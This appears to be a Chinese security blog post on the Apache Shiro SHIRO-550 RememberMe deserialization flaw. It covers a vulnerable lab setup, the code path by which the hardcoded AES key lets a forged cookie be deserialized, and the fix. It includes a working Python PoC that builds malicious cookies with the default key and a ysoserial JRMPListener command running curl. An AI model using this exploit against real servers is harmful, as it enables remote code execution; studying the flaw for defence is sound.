漏洞简介

https://issues.apache.org/jira/browse/SHIRO-550

在shirt <= 1.2.24版本中,如果用户选择了Remember Me,那么shiro就会进行如下操作

获取Remember Me cookie值
Base64解码
AES解码
反序列化

而我们知道Remember cookie的生成方式是

序列化
AES加密
Base64加密
生成Remember Me cookie值

因为AES是对称密码,密钥可用于加密和解密而密钥是硬编码在文件中的,所以就可导致利用密钥将一个恶意对象序列化后加密。选择Remember Me后解密并反序列化时就会触发恶意代码

环境搭建

首先下载存在漏洞版本的shiro

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

然后修改pom.xml,在里面添加

<dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version> 
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
</dependencies>

然后将整个shiro文件导入Idea后通过mvn导入依赖包,接着配置tomcat

1.png

我这里使用的是jdk7+tomcat7,这里要配置一下Artifact

2.png

然后就可以运行了

3.png

漏洞复现

首先我们检测一下搭建的环境是否存在该漏洞,这里使用检查工具探测

4.png

发现漏洞确实存在,那就触发一下试试

5.png

接着使用手动复现一下

首先需要在vps上有一个rmi注册服务,执行

ysoserial % java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'curl 127.0.0.1:2345'

然后使用如下poc生成Remember Me Cookie

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print("rememberMe={0}".format(payload.decode()))

14.png

然后burpsuite抓包把Remember Me Cookie带入

15.png

漏洞分析

加密cookie流程分析

当我们成功登陆时如果选择了Remember Me,那么就会进入到AbstractRememberMeManager#onSuccessfulLogin

 title=

接着进入AbstractRememberMeManager#rememberIdentity

7.png

这里创建了一个principals对象,跟进rememberIdentity方法

8.png

跟进convertPrincipalsToBytes方法

9.png

这里将principals对象进行了序列化然后使用encrypt方法加密,也就是AES加密,这里跟进一下

22.png

这里的getCipherService方法作用是获取密码服务,这里的cipherService是AesCipherService

23.png

接下来的ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());作用就是加密serialized了,这里的getEncryptionCipherKey作用是获取密钥,来看一下是怎么获取密钥的。

24.png

这里的encryptionCipherKey哪来的呢

发现在构造方法中有一个setCipherKey

25.png

这里的DEFAULT_CIPHER_KEY_BYTES就是硬编码在文件里的密钥

27.png

跟进setCipherKey

26.png

跟进setEncryptionCipherKey

28.png

这里就将密钥赋值给了encryptionCipherKey,所以回到上面的getEncryptionCipherKey方法就得到了密钥

接着继续跟进encrypt方法

29.png

30.png

这里的iv值由generateInitializationVector方法得到,返回一个类型为Bytes,长度为16的数组

接着调用encrypt的重载方法

31.png

这里使用了crypt方法对plaintext进行了加密,得到encrypted

接着新建了一个byte型的数组,长度为iv的长度加上encrypted的长度

然后调用arraycopy方法得到了新的密文output

Java.lang.System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
概念 : 将源数组中从指定位置开始的数据复制到目标数组的指定位置 .
src : 源数组
srcPos : 源数组要复制的起始位置
dest : 目的数组
destPos : 目的数组放置的起始位置
length : 复制的长度

回到rememberIdentity,跟进rememberSerializedIdentity方法

32.png

10.png

这里就将AES加密后的bytes进行了base64加密,最后通过response返回设置为用户的Cookie的rememberMe字段中

解密cookie流程分析

首先到达getRememberPrincipals方法处

13.png

跟进getRememberedSerializedIdentity方法

33.png

RememberMe Cookie从这里获得赋值给base64

接着调用了Base64#decode

11.png
跟进decode方法

12.png

通过toBytes方法转换成字节码的形式,再通过decode方法进行base64解码

接着进入convertBytesToPrincipals方法

16.png

跟进decrypt方法

17.png

这里的getCipherService和getDecryptionCipherKey和加密时是一样的值,具体的解密方法在decrypt里,跟进

34.png

看上去和加密也差不多,得到了一个iv,将ciphertext值通过arraycopy放入新数组encrypted里,将iv, key,encrypt代入decrypt的重载方法

35.png

最后通过crypt方法实现AES解密返回解密后的值decrypted

回到convertBytesToPrincipals方法,跟进deserialize方法

36.png

18.png

19.png

在这里触发反序列化执行命令

修复方式

20.png

21.png

将之前的固定Key改为随机生成Key